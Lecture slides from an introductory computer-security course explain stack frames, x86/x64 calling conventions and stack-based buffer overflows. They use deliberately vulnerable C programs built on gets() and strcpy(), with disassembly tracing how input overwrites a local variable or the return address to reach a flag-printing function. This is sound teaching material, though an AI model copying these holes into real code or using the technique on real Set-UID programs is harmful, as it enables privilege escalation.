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CS 4910: Intro to Computer 
Security

Instructor: Xi Tan

  
   
Software Security:

stack-based buffer overflow attacks and 
defenses



|  2

● Background

● Stack-based buffer overflow

● Stack-based buffer overflow attacks

● Stack-based buffer overflow defenses

● Please check the software_security_demos.zip file to find all the demos used 
in class.

Objectives
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Real UID, Effective UID, and Saved UID

Each Linux/Unix process has 3 UIDs associated with it.

Real UID (RUID): This is the UID of the user/process that created THIS process. It can be 

changed only if the running process has EUID=0.

Effective UID (EUID): This UID is used to evaluate privileges of the process to perform a 

particular action. EUID can be changed either to RUID, or SUID if EUID!=0. If EUID=0, it 

can be changed to anything.

Saved UID (SUID): If the binary image file, that was launched has a Set-UID bit on, SUID 

will be the UID of the owner of the file. Otherwise, SUID will be the RUID.
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Set-UID Program

The kernel makes the decision whether a process has the privilege by looking on the 

EUID of the process.

For non Set-UID programs, the effective uid and the real uid are the same. For Set-UID 

programs, the effective uid is the owner of the program, while the real uid is the user of 

the program.

What will happen is when a setuid binary executes, the process changes its Effective User 
ID (EUID) from the default RUID to the owner of this special binary executable file which 
in this case is - root.
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Example: rdsecret

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
int main(int argc, char *argv[])
{
     FILE *fp = NULL;
     char buffer[100] = {0};
     // get ruid and euid
     uid_t uid = getuid();
     struct passwd *pw = getpwuid(uid);
     if (pw)
     {
          printf("UID: %d, USER: %s.\n", uid, pw->pw_name);
     }
     uid_t euid = geteuid();
     pw = getpwuid(euid);

main.c

if (pw)

{

    printf("EUID: %d, EUSER: %s.\n", euid, pw->pw_name);

}

    print_flag();

    return(0);

}

void print_flag()

{

    FILE *fp;

    char buff[MAX_FLAG_SIZE];

    fp = fopen("flag","r");

    fread(buff, MAX_FLAG_SIZE, 1, fp);

    printf("flag is : %s\n", buff);

    fclose(fp);

}
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ELF Files

The Executable and Linkable Format (ELF) is a common standard file format for 

executable files, object code, shared libraries, and core dumps. Filename extension none, 

.axf, .bin, .elf, .o, .prx, .puff, .ko, .mod and .so

Contains the program and its data. Describes how the program should be loaded 

(program/segment headers). Contains metadata describing program components 

(section headers).
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Commnad file

file /bin/ls  
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INTERP: defines the library that should be used to load this ELF 

into memory.

LOAD: defines a part of the file that should be loaded into 

memory.

Sections:

.text: the executable code of your program.

.plt and .got: used to resolve and dispatch library calls.

.data: used for pre-initialized global writable data (such as 

global arrays with initial values)

.rodata: used for global read-only data (such as string 

constants)

.bss: used for uninitialized global writable data (such as global 

arrays without initial values)
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Tools for ELF

gcc to make your ELF.

readelf to parse the ELF header.

objdump to parse the ELF header and disassemble the source code.

nm to view your ELF's symbols.

patchelf to change some ELF properties.

objcopy to swap out ELF sections.

strip to remove otherwise-helpful information (such as symbols).

kaitai struct (https://ide.kaitai.io/) to look through your ELF interactively.

https://ide.kaitai.io/
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char g_i[] = "I am an initialized 

global variable\n";

char* g_u;

int func(int p)

{

  int l_i = 10;

  int l_u;

  [code]

  return 0;

}

int main(int argc, char *argv[])

{

  int l_i = 10;

  int l_u;

  [code]

  func(10);

}

Command-line Arguments 

& Environment Variables

Stack

Uninitialized Data (BSS)

Text Segment

Dynamic 

Memory

Layout

Initialized Data

High Address

Low Address

Heap

Static 

Memory

Layout
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char g_i[] = "I am an initialized 

global variable\n";

char* g_u;

int func(int p)

{

  int l_i = 10;

  int l_u;

  [code]

  return 0;

}

int main(int argc, char *argv[])

{

  int l_i = 10;

  int l_u;

  [code]

  func(10);

}

Command-line Arguments 

& Environment Variables

Stack

g_u

Assembly Code

Dynamic 

Memory

Layout

g_i

High Address

Low Address

Heap

Static 

Memory

Layout

main

func

l_i, l_u

…

l_i, l_u
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Variables that are declared inside a function or block are called local variables. They can 
be used only by statements that are inside that function or block of code. Local variables 
are not known to functions outside their own.

Global variables are defined outside a function. Global variables hold their values 
throughout the lifetime of your program and they can be accessed inside any of the 
functions defined for the program.

In the definition of function parameters which are called formal parameters. Formal 
parameters are similar to local variables.

Global and Local Variables in C/C++
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int main(int argc, char *argv[])

{

  int l_i = 10;

  int l_u;

  printf("g_i is at %p\n", &g_i);

  printf("g_u is at %p\n", &g_u);  

  printf("l_i in main() is at %p\n", &l_i);

  printf("l_u in main() is at %p\n", &l_u);   

  func(10);

}

Tools: readelf; nm

char g_i[] = "I am an initialized global variable\n";

char* g_u;

int func(int p)

{

  int l_i = 10;

  int l_u;

  printf("l_i in func() is at %p\n", &l_i);

  printf("l_u in func() is at %p\n", &l_u);  

  printf("p in func() is at %p\n", &p);  

  return 0;

}

Global and Local Variables (code/globallocalv)
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Global and Local Variables (code/globallocalv 32bit)
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Global and Local Variables (code/globallocalv 64bit)
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Stack is essentially scratch memory for functions

● Used in MIPS, ARM, RISC-V, x86, and x64 

architectures

Starts at high memory addresses, and grows down

Functions would like to use the stack to allocate space 

for their local variables. 

H

L

Stack “Bottom”

Stack “Top”

Stack
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Functions would like to use the stack to allocate space for their local variables. 

Frame pointer points to the start of the function's frame on the stack

● Each local variable will be (different) offsets of the frame pointer

● In x86, frame pointer is called the base pointer, and is stored in ebp (x64 

calls it rbp)

● In x86, esp holds the address of the top of the stack (x64 calls it rsp)

Stack Frame for a Function
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A function’s Stack Frame

● Starts with where ebp points to

● Ends with where esp points to

Return address

Saved ebp

Local variable 1

…

ebp

Local variable 2

H

L

esp

Stack frame 

of a function

Stack Frame for a Function
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Return address

Saved ebp

Local variable 1

…

ebp

esp

Stack frame 

of a function
Local variable 2

H

L

Functions are free to push registers or values onto the stack, or pop values from the 

stack into registers

Stack Frame for a Function
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Return address

Saved ebp

Local variable 1

…

ebp

esp

Stack frame 

of a function
Local variable 2

H

L

Functions are free to push registers or values onto the stack, or pop values from the 

stack into registers

The assembly language supports this on x86

● push eax 1) decrements the stack pointer 

(esp) then 2) stores the value in eax to the 

location pointed to by the stack pointer

eax = xxx

Stack Frame for a Function
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Return address

Saved ebp

Local variable 1

…

ebp

esp

Stack frame 

of a function
Local variable 2

H

L

xxx

Functions are free to push registers or values onto the stack, or pop values from the 

stack into registers

The assembly language supports this on x86

● push eax 1) decrements the stack pointer 

(esp) then 2) stores the value in eax to the 

location pointed to by the stack pointer

Stack Frame for a Function
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Return address

Saved ebp

Local variable 1

…

ebp

esp

Stack frame 

of a function
Local variable 2

H

L

xxx

Functions are free to push registers or values onto the stack, or pop values from the 

stack into registers

The assembly language supports this on x86

● push eax 1) decrements the stack pointer 

(esp) then 2) stores the value in eax to the 

location pointed to by the stack pointer

● pop eax 1) stores the value at the location 

pointed to by the stack pointer into eax, 

then 2) increments the stack pointer (esp)

Stack Frame for a Function
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Return address

Saved ebp

Local variable 1

…

ebp
Stack frame 

of a function
Local variable 2

H

L

Functions are free to push registers or values onto the stack, or pop values from the 

stack into registers

The assembly language supports this on x86

● push eax 1) decrements the stack pointer 

(esp) then 2) stores the value in eax to the 

location pointed to by the stack pointer

● pop eax 1) stores the value at the location 

pointed to by the stack pointer into eax, 

then 2) increments the stack pointer (esp)

esp

eax = xxx

xxx

Stack Frame for a Function
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What information do we need to call a function at runtime? Where are they stored?

● Code

● Parameters

● Return value

● Global variables

● Local variables

● Temporary variables

● Return address

● Function frame pointer

● Previous function Frame pointer

C/C++ Function in x86/64
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What information do we need to call a function at runtime? Where are they stored?

● Code [.text]

● Parameters [mainly stack (32bit); registers + stack (64bit)]

● Return value [eax, rax]

● Global variables [.bss, .data]

● Local variables [stack; registers]

● Temporary variables [stack; registers]

● Return address [stack]

● Function frame pointer [ebp, rbp]

● Previous function Frame pointer [stack] 

C/C++ Function in x86/64
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Information, such as parameters, must be stored on the stack in order to call the 

function. Who should store that information? Caller? Callee?

Thus, we need to define a convention of who pushes/stores what values on the 

stack to call a function

● Varies based on processor, operating system, compiler, or type of call

Calling Convention
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Caller (in this order)

● Pushes arguments onto the stack (in right to left order)

● Execute the call instruction (pushes address of instruction after call, then 

moves dest to eip)

Callee

● Pushes previous frame pointer onto stack (ebp)

● Setup new frame pointer (mov ebp, esp)

● Creates space on stack for local variables (sub esp, #imm)

● Ensures that stack is consistent on return

● Return value in eax register

x86 (32 bit) Linux Calling Convention (cdecl)
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int vulfoo()

{

  char buf[6];

  gets(buf);

  return 0;

}

int main(int argc, char *argv[])

{

  vulfoo();

  printf("I pity the fool!\n");  

}

00001338 <vulfoo>:
    1338:       f3 0f 1e fb             endbr32 

    133c:       55                      push   ebp

    133d:       89 e5                   mov    ebp,esp
    133f:       83 ec 18                sub    esp,0x18

    1342:       83 ec 0c                sub    esp,0xc

    1345:       8d 45 f2                lea    eax,[ebp-0xe]
    1348:       50                      push   eax

    1349:       e8 fc ff ff ff          call   gets

    134e:       83 c4 10                add    esp,0x10
    1351:       b8 00 00 00 00          mov    eax,0x0

    1356:       c9                      leave  

    1357:       c3                      ret    

Calling Convention Example
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call eax

Parameter 1

Parameter 2

Parameter 3
esp

Before:

Parameter 1

Parameter 2

esp

After: eip = eax

push parameters

call eax

pop ebx

eip

Addr of “pop ebx”

The call instruction does two things:

1. Push the address of next instruction to the stack 

(return of the callee)

2. Move the dest address to eip

Parameter 3

Code memory

Data memory

Caller Calls a Function
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Three instructions:

push ebp; (Pushes previous frame pointer onto stack)

mov ebp, esp; (change the base pointer to the stack)

sub esp, 10; (allocating a local stack space)
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...

...

RET
esp

00001338 <vulfoo>:
    1338:       f3 0f 1e fb             endbr32 

    133c:       55                      push   ebp

    133d:       89 e5                   mov    ebp,esp
    133f:       83 ec 18                sub    esp,0x18

    1342:       83 ec 0c                sub    esp,0xc

    1345:       8d 45 f2                lea    eax,[ebp-0xe]
    1348:       50                      push   eax

    1349:       e8 fc ff ff ff          call   gets

    134e:       83 c4 10                add    esp,0x10
    1351:       b8 00 00 00 00          mov    eax,0x0

    1356:       c9                      leave  

    1357:       c3                      ret    

Callee Allocates a stack (Function prologue)

Three instructions:

push ebp; (Pushes previous frame pointer onto stack)

mov ebp, esp; (change the base pointer to the stack)

sub esp, 10; (allocating a local stack space)
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00001338 <vulfoo>:
    1338:       f3 0f 1e fb             endbr32 

    133c:       55                      push   ebp

    133d:       89 e5                   mov    ebp,esp
    133f:       83 ec 18                sub    esp,0x18

    1342:       83 ec 0c                sub    esp,0xc

    1345:       8d 45 f2                lea    eax,[ebp-0xe]
    1348:       50                      push   eax

    1349:       e8 fc ff ff ff          call   134a <vulfoo+0x12>

    134e:       83 c4 10                add    esp,0x10
    1351:       b8 00 00 00 00          mov    eax,0x0

    1356:       c9                      leave  

    1357:       c3                      ret    

...

...

RET

esp
Saved ebp (main)

Callee Allocates a stack (Function prologue)

Three instructions:

push ebp; (Pushes previous frame pointer onto stack)

mov ebp, esp; (change the base pointer to the stack)

sub esp, 10; (allocating a local stack space)
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RET

ebp, esp
Saved ebp (main)

...

...

00001338 <vulfoo>:
    1338:       f3 0f 1e fb             endbr32 

    133c:       55                      push   ebp

    133d:       89 e5                   mov    ebp,esp
    133f:       83 ec 18                sub    esp,0x18

    1342:       83 ec 0c                sub    esp,0xc

    1345:       8d 45 f2                lea    eax,[ebp-0xe]
    1348:       50                      push   eax

    1349:       e8 fc ff ff ff          call   134a <vulfoo+0x12>

    134e:       83 c4 10                add    esp,0x10
    1351:       b8 00 00 00 00          mov    eax,0x0

    1356:       c9                      leave  

    1357:       c3                      ret    

Callee Allocates a stack (Function prologue)

Three instructions:

push ebp; (Pushes previous frame pointer onto stack)

mov ebp, esp; (change the base pointer to the stack)

sub esp, 10; (allocating a local stack space)
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RET

ebp
Saved ebp (main)

Something 0x18 bytes
esp

...

...

00001338 <vulfoo>:
    1338:       f3 0f 1e fb             endbr32 

    133c:       55                      push   ebp

    133d:       89 e5                   mov    ebp,esp
    133f:       83 ec 18                sub    esp,0x18

    1342:       83 ec 0c                sub    esp,0xc

    1345:       8d 45 f2                lea    eax,[ebp-0xe]
    1348:       50                      push   eax

    1349:       e8 fc ff ff ff          call   134a <vulfoo+0x12>

    134e:       83 c4 10                add    esp,0x10
    1351:       b8 00 00 00 00          mov    eax,0x0

    1356:       c9                      leave  

    1357:       c3                      ret    

Callee Allocates a stack (Function prologue)

Three instructions:

push ebp; (Pushes previous frame pointer onto stack)

mov ebp, esp; (change the base pointer to the stack)

sub esp, 10; (allocating a local stack space)
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RET

ebp
Saved ebp (main)

Something 0x18 bytes

Something 0xc bytes
esp

...

...

00001338 <vulfoo>:
    1338:       f3 0f 1e fb             endbr32 

    133c:       55                      push   ebp

    133d:       89 e5                   mov    ebp,esp
    133f:       83 ec 18                sub    esp,0x18

    1342:       83 ec 0c                sub    esp,0xc

    1345:       8d 45 f2                lea    eax,[ebp-0xe]
    1348:       50                      push   eax

    1349:       e8 fc ff ff ff          call   134a <vulfoo+0x12>

    134e:       83 c4 10                add    esp,0x10
    1351:       b8 00 00 00 00          mov    eax,0x0

    1356:       c9                      leave  

    1357:       c3                      ret    

Callee Allocates a stack (Function prologue)

Three instructions:

push ebp; (Pushes previous frame pointer onto stack)

mov ebp, esp; (change the base pointer to the stack)

sub esp, 10; (allocating a local stack space)
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mov esp, ebp

pop ebp

ret 

leave

RET

esp, ebp
Saved ebp (main)

...

...

...

...
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RET

esp, ebp
Saved ebp (main)

...

...

mov esp, ebp
pop ebp

...

...

00001338 <vulfoo>:
    1338:       f3 0f 1e fb             endbr32 

    133c:       55                      push   ebp

    133d:       89 e5                   mov    ebp,esp
    133f:       83 ec 18                sub    esp,0x18

    1342:       83 ec 0c                sub    esp,0xc

    1345:       8d 45 f2                lea    eax,[ebp-0xe]
    1348:       50                      push   eax

    1349:       e8 fc ff ff ff          call   134a <vulfoo+0x12>

    134e:       83 c4 10                add    esp,0x10
    1351:       b8 00 00 00 00          mov    eax,0x0

    1356:       c9                      leave  

    1357:       c3                      ret    

Callee Deallocate a stack (Function epilogue)

mov esp, ebp

pop ebp

ret 

leave
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RET
esp

...

...

...

ebp -> main’s 

stack frame

...

...

00001338 <vulfoo>:
    1338:       f3 0f 1e fb             endbr32 

    133c:       55                      push   ebp

    133d:       89 e5                   mov    ebp,esp
    133f:       83 ec 18                sub    esp,0x18

    1342:       83 ec 0c                sub    esp,0xc

    1345:       8d 45 f2                lea    eax,[ebp-0xe]
    1348:       50                      push   eax

    1349:       e8 fc ff ff ff          call   134a <vulfoo+0x12>

    134e:       83 c4 10                add    esp,0x10
    1351:       b8 00 00 00 00          mov    eax,0x0

    1356:       c9                      leave  

    1357:       c3                      ret    

mov esp, ebp
pop ebp

mov esp, ebp

pop ebp

ret 

leave

Callee Deallocate a stack (Function epilogue)



|  40

RET
esp

...

...

...
eip = RET

...

...

00001338 <vulfoo>:
    1338:       f3 0f 1e fb             endbr32 

    133c:       55                      push   ebp

    133d:       89 e5                   mov    ebp,esp
    133f:       83 ec 18                sub    esp,0x18

    1342:       83 ec 0c                sub    esp,0xc

    1345:       8d 45 f2                lea    eax,[ebp-0xe]
    1348:       50                      push   eax

    1349:       e8 fc ff ff ff          call   134a <vulfoo+0x12>

    134e:       83 c4 10                add    esp,0x10
    1351:       b8 00 00 00 00          mov    eax,0x0

    1356:       c9                      leave  

    1357:       c3                      ret    

The ret instruction pops the top of the stack to eip, so the CPU continues to execute from there

Callee Deallocate a stack (Function epilogue)
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● Negative indexing over ebp

mov eax, [ebp-0x8]   
lea eax, [ebp-24]   

● Positive indexing over ebp

mov eax, [ebp+8]    
mov eax, [ebp+0xc]

● Positive indexing over esp

x86 Stack Usage (32bit)
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● Accesses local variables (negative indexing over ebp)
mov eax, ebp-0x8   value at ebp-0x8

lea eax, ebp-24    address as ebp-0x24

● Stores function arguments from caller (positive indexing over ebp)
mov eax, ebp+8     1st arg

mov eax, ebp+0xc   2nd arg

● Positive indexing over esp
Function arguments to callee

x86 Stack Usage (32bit)
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int fact(int n)

{

  printf("---In fact(%d)\n", n);

  printf("&n is %p\n", &n);

  if (n <= 1)

    return 1;

  return fact(n-1) * n;

}

int main(int argc, char *argv[])

{

  if (argc != 2)

  {

    printf("Usage: fact integer\n");

    return 0;

  }

  printf("The factorial of %d is %d\n.", 

atoi(argv[1]), fact(atoi(argv[1])));

}

Stack example: code/factorial
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int func(int a, int b, int c, int d, int e)

{

  return a + b + c + d + e;

}

int main(int argc, char *argv[])

{

  func(1, 2, 3, 4, 5);

}

 

X86 disassembly 

Stack example: code/fivepara
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Draw the stack (x86 cdecl)
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fastcall

On x86-32 targets, the fastcall attribute causes the compiler to pass the first argument (if 

of integral type) in the register ECX and the second argument (if of integral type) in the 

register EDX. Subsequent and other typed arguments are passed on the stack. The called 

function pops the arguments off the stack. If the number of arguments is variable all 

arguments are pushed on the stack.

int __attribute__ ((fastcall)) func(int p)

globallocalv_fast_32
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Caller

● Use registers to pass arguments to callee. Register order (1st, 2nd, 3rd, 4th, 

5th, 6th, etc.) rdi, rsi, rdx, rcx, r8, r9, ... (use stack for more arguments)

x86-64 (64 bit) Linux Calling Convention



|  48

int func(int a, int b, int c, int d, int e)

{

  return a + b + c + d + e;

}

int main(int argc, char *argv[])

{

  func(1, 2, 3, 4, 5);

}

 

X86-64 disassembly 

Stack example: code/fivepara
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● Access local variables (negative indexing over rbp)

mov rax, [rbp-8]
lea rax, [rbp-0x24]

● Access function arguments from caller

mov rax, rdi

● Setup parameters for callee
mov rdi, rax

X86-64 Stack Usage
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● Background

● Stack-based buffer overflow

● Stack-based buffer overflow attacks

● Stack-based buffer overflow defenses

Objectives
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int vulfoo()

{

  char buf[6];

  gets(buf);

  return 0;

}

int main(int argc, char *argv[])

{

  vulfoo();

  printf("I pity the fool!\n");  

}

Stack-based Buffer Overflow
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gets() reads a line from stdin into the 

buffer pointed to by s until either a 

terminating newline or EOF, which it 

replaces with a null byte ('\0').  

No check for input buffer size

int vulfoo()

{

  char buf[6];

  gets(buf);

  return 0;

}

int main(int argc, char *argv[])

{

  vulfoo();

  printf("I pity the fool!\n");  

}

Stack-based Buffer Overflow
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RET

ebp
Saved ebp (main)

Something 0x18 bytes

Something 0xc bytes
esp

eax = ebp - 0xe

...

...

00001338 <vulfoo>:
    1338:       f3 0f 1e fb             endbr32 

    133c:       55                      push   ebp

    133d:       89 e5                   mov    ebp,esp
    133f:       83 ec 18                sub    esp,0x18

    1342:       83 ec 0c                sub    esp,0xc

    1345:       8d 45 f2                lea    eax,[ebp-0xe]
    1348:       50                      push   eax

    1349:       e8 fc ff ff ff          call   gets

    134e:       83 c4 10                add    esp,0x10
    1351:       b8 00 00 00 00          mov    eax,0x0

    1356:       c9                      leave  

    1357:       c3                      ret    
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RET

Saved ebp (main)

Something 0x18 bytes

Something 0xc bytes

eax; addr of buf
esp

...

...

00001338 <vulfoo>:
    1338:       f3 0f 1e fb             endbr32 

    133c:       55                      push   ebp

    133d:       89 e5                   mov    ebp,esp
    133f:       83 ec 18                sub    esp,0x18

    1342:       83 ec 0c                sub    esp,0xc

    1345:       8d 45 f2                lea    eax,[ebp-0xe]
    1348:       50                      push   eax

    1349:       e8 fc ff ff ff          call   gets

    134e:       83 c4 10                add    esp,0x10
    1351:       b8 00 00 00 00          mov    eax,0x0

    1356:       c9                      leave  

    1357:       c3                      ret    

ebp

eax = ebp - 0xe
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RET

Saved ebp (main)

Something 0x18 bytes

Something 0xc bytes

eax; addr of buf

...

...

...

00001338 <vulfoo>:
    1338:       f3 0f 1e fb             endbr32 

    133c:       55                      push   ebp

    133d:       89 e5                   mov    ebp,esp
    133f:       83 ec 18                sub    esp,0x18

    1342:       83 ec 0c                sub    esp,0xc

    1345:       8d 45 f2                lea    eax,[ebp-0xe]
    1348:       50                      push   eax

    1349:       e8 fc ff ff ff          call   gets

    134e:       83 c4 10                add    esp,0x10
    1351:       b8 00 00 00 00          mov    eax,0x0

    1356:       c9                      leave  

    1357:       c3                      ret    

ebp

eax = ebp - 0xe

esp
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RET

Saved ebp (main)

Something 0x18 bytes

Something 0xc bytes

...

...

00001338 <vulfoo>:
    1338:       f3 0f 1e fb             endbr32 

    133c:       55                      push   ebp

    133d:       89 e5                   mov    ebp,esp
    133f:       83 ec 18                sub    esp,0x18

    1342:       83 ec 0c                sub    esp,0xc

    1345:       8d 45 f2                lea    eax,[ebp-0xe]
    1348:       50                      push   eax

    1349:       e8 fc ff ff ff          call   gets

    134e:       83 c4 10                add    esp,0x10
    1351:       b8 00 00 00 00          mov    eax,0x0

    1356:       c9                      leave  

    1357:       c3                      ret    

Addr of printsecret

Saved ebp (main)

Something 0x18 bytes

eax; addr of buf

...

ebp

eax = ebp - 0xe

esp
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● Background

● Stack-based buffer overflow

● Stack-based buffer overflow attacks

● Stack-based buffer overflow defenses

Objectives
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● Local variables

● Saved ebp

● Return address

● Callee’s parameters

Parameter 1

Parameter 2

RET

Parameter 3

Saved ebp (caller)

Local variables (callee)

…

Caller’s stack 

frame

(inactive)

…

Callee’s stack 

frame

(active)

All can be overwritten!

What is on a function stack?
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● Local variables

○ Data-only Attack

● Saved ebp
○ Fake function stack frame

● Return address

○ Return to shellcode

○ ROP

● Callee’s parameters
○ Return to a function with parameters

○ Return to libc

● …

Parameter 1

Parameter 2

RET

Parameter 3

Saved ebp (caller)

Local variables (callee)

…

Caller’s stack 

frame

(inactive)

…

Callee’s stack 

frame

(active)

What is on a function stack?
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● Local variables

○ Data-only Attack

● Saved ebp
○ Fake function stack frame

● Return address

○ Return to shellcode

○ ROP

● Callee’s parameters
○ Return to a function with parameters

○ Return to libc

● …

Parameter 1

Parameter 2

RET

Parameter 3

Saved ebp (caller)

Local variables (callee)

…

Caller’s stack 

frame

(inactive)

…

Callee’s stack 

frame

(active)

What is on a function stack?
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int vulfoo(int i, char* p)

{

  int j = i;

  char buf[6];

  strcpy(buf, p);

  if (j)

    print_flag();

  else

    printf("I pity the fool!\n");

  return 0;

}

int main(int argc, char *argv[])

{

  if (argc == 2)

    vulfoo(0, argv[1]);

}

000012c4 <vulfoo>:

 12c4:       55                         push   ebp

 12c5:       89 e5                mov ebp,esp

 12c7:       83 ec 18            sub esp,0x18

 12ca:       8b 45 08           mov eax,DWORD PTR [ebp+0x8]

 12cd:       89 45 f4            mov DWORD PTR [ebp-0xc],eax

 12d0:       83 ec 08           sub esp,0x8

 12d3:       ff 75 0c             push   DWORD PTR [ebp+0xc]

 12d6:       8d 45 ee           lea eax,[ebp-0x12]

 12d9:       50                         push   eax

 12da:       e8 fc ff ff ff       call   12db <vulfoo+0x17>

 12df:       83 c4 10            add esp,0x10

 12e2:       83 7d f4 00       cmp DWORD PTR [ebp-0xc],0x0

 12e6:       74 07                 je 12ef <vulfoo+0x2b>

 12e8:       e8 10 ff ff ff      call   11fd <print_flag>

 12ed:       eb 10                jmp 12ff <vulfoo+0x3b>

 12ef:       83 ec 0c             sub esp,0xc

 12f2:       68 45 20 00 00  push   0x2045

 12f7:       e8 fc ff ff ff            call   12f8 <vulfoo+0x34>

 12fc:       83 c4 10            add esp,0x10

 12ff:       b8 00 00 00 00  mov eax,0x0

 1304:       c9                        leave 

 1305:       c3                         ret    

Overwrite Local Variables: overflowlocal1
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char *strcpy(char *dest, const char *src)

{

  unsigned i;

  for (i=0; src[i] != '\0'; ++i)

    dest[i] = src[i];

  //Ensure trailing null byte is copied

  dest[i]= '\0';

  return dest;

}

char *strcpy(char *dest, const char *src)

{

   char *save = dest;

   while(*dest++ = *src++);

   return save;

}

Implementation of strcpy()



|  63

Buffer Overflow Example: overflowlocal1
p

i = 0

RETesp

000012c4 <vulfoo>:

    12c4:       55                      push   ebp

    12c5:       89 e5                   mov    ebp,esp

    12c7:       83 ec 18                sub    esp,0x18

    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]

    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax

    12d0:       83 ec 08                sub    esp,0x8

    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]

    12d6:       8d 45 ee                lea    eax,[ebp-0x12]

    12d9:       50                      push   eax

    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>

    12df:       83 c4 10                add    esp,0x10

    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0

    12e6:       74 07                   je     12ef <vulfoo+0x2b>

    12e8:       e8 10 ff ff ff          call   11fd <print_flag>

    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>

    12ef:       83 ec 0c                sub    esp,0xc

    12f2:       68 45 20 00 00          push   0x2045

    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>

    12fc:       83 c4 10                add    esp,0x10

    12ff:       b8 00 00 00 00          mov    eax,0x0

    1304:       c9                      leave  

    1305:       c3                      ret    
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Buffer Overflow Example: overflowlocal1
p

i = 0

RET

esp Old ebp

000012c4 <vulfoo>:

    12c4:       55                      push   ebp

    12c5:       89 e5                   mov    ebp,esp

    12c7:       83 ec 18                sub    esp,0x18

    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]

    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax

    12d0:       83 ec 08                sub    esp,0x8

    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]

    12d6:       8d 45 ee                lea    eax,[ebp-0x12]

    12d9:       50                      push   eax

    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>

    12df:       83 c4 10                add    esp,0x10

    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0

    12e6:       74 07                   je     12ef <vulfoo+0x2b>

    12e8:       e8 10 ff ff ff          call   11fd <print_flag>

    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>

    12ef:       83 ec 0c                sub    esp,0xc

    12f2:       68 45 20 00 00          push   0x2045

    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>

    12fc:       83 c4 10                add    esp,0x10

    12ff:       b8 00 00 00 00          mov    eax,0x0

    1304:       c9                      leave  

    1305:       c3                      ret    
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Buffer Overflow Example: overflowlocal1
p

i = 0

RET

ebp, esp Old ebp

000012c4 <vulfoo>:

    12c4:       55                      push   ebp

    12c5:       89 e5                   mov    ebp,esp

    12c7:       83 ec 18                sub    esp,0x18

    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]

    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax

    12d0:       83 ec 08                sub    esp,0x8

    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]

    12d6:       8d 45 ee                lea    eax,[ebp-0x12]

    12d9:       50                      push   eax

    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>

    12df:       83 c4 10                add    esp,0x10

    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0

    12e6:       74 07                   je     12ef <vulfoo+0x2b>

    12e8:       e8 10 ff ff ff          call   11fd <print_flag>

    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>

    12ef:       83 ec 0c                sub    esp,0xc

    12f2:       68 45 20 00 00          push   0x2045

    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>

    12fc:       83 c4 10                add    esp,0x10

    12ff:       b8 00 00 00 00          mov    eax,0x0

    1304:       c9                      leave  

    1305:       c3                      ret    
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Buffer Overflow Example: overflowlocal1
p

i = 0

RET

ebp Old ebp

0x18 bytes

esp

000012c4 <vulfoo>:

    12c4:       55                      push   ebp

    12c5:       89 e5                   mov    ebp,esp

    12c7:       83 ec 18                sub    esp,0x18

    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]

    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax

    12d0:       83 ec 08                sub    esp,0x8

    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]

    12d6:       8d 45 ee                lea    eax,[ebp-0x12]

    12d9:       50                      push   eax

    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>

    12df:       83 c4 10                add    esp,0x10

    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0

    12e6:       74 07                   je     12ef <vulfoo+0x2b>

    12e8:       e8 10 ff ff ff          call   11fd <print_flag>

    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>

    12ef:       83 ec 0c                sub    esp,0xc

    12f2:       68 45 20 00 00          push   0x2045

    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>

    12fc:       83 c4 10                add    esp,0x10

    12ff:       b8 00 00 00 00          mov    eax,0x0

    1304:       c9                      leave  

    1305:       c3                      ret    
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Buffer Overflow Example: overflowlocal1
p

i = 0

RET

ebp Old ebp

0x18 bytes

esp

000012c4 <vulfoo>:

    12c4:       55                      push   ebp

    12c5:       89 e5                   mov    ebp,esp

    12c7:       83 ec 18                sub    esp,0x18

    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]

    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax

    12d0:       83 ec 08                sub    esp,0x8

    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]

    12d6:       8d 45 ee                lea    eax,[ebp-0x12]

    12d9:       50                      push   eax

    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>

    12df:       83 c4 10                add    esp,0x10

    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0

    12e6:       74 07                   je     12ef <vulfoo+0x2b>

    12e8:       e8 10 ff ff ff          call   11fd <print_flag>

    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>

    12ef:       83 ec 0c                sub    esp,0xc

    12f2:       68 45 20 00 00          push   0x2045

    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>

    12fc:       83 c4 10                add    esp,0x10

    12ff:       b8 00 00 00 00          mov    eax,0x0

    1304:       c9                      leave  

    1305:       c3                      ret    

eax=0; [ebp+8]
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Buffer Overflow Example: overflowlocal1
p

i = 0

RET

ebp Old ebp

esp

[ebp-0xc]
0; Local v: j 0x18

eax=0; [ebp+8]

000012c4 <vulfoo>:

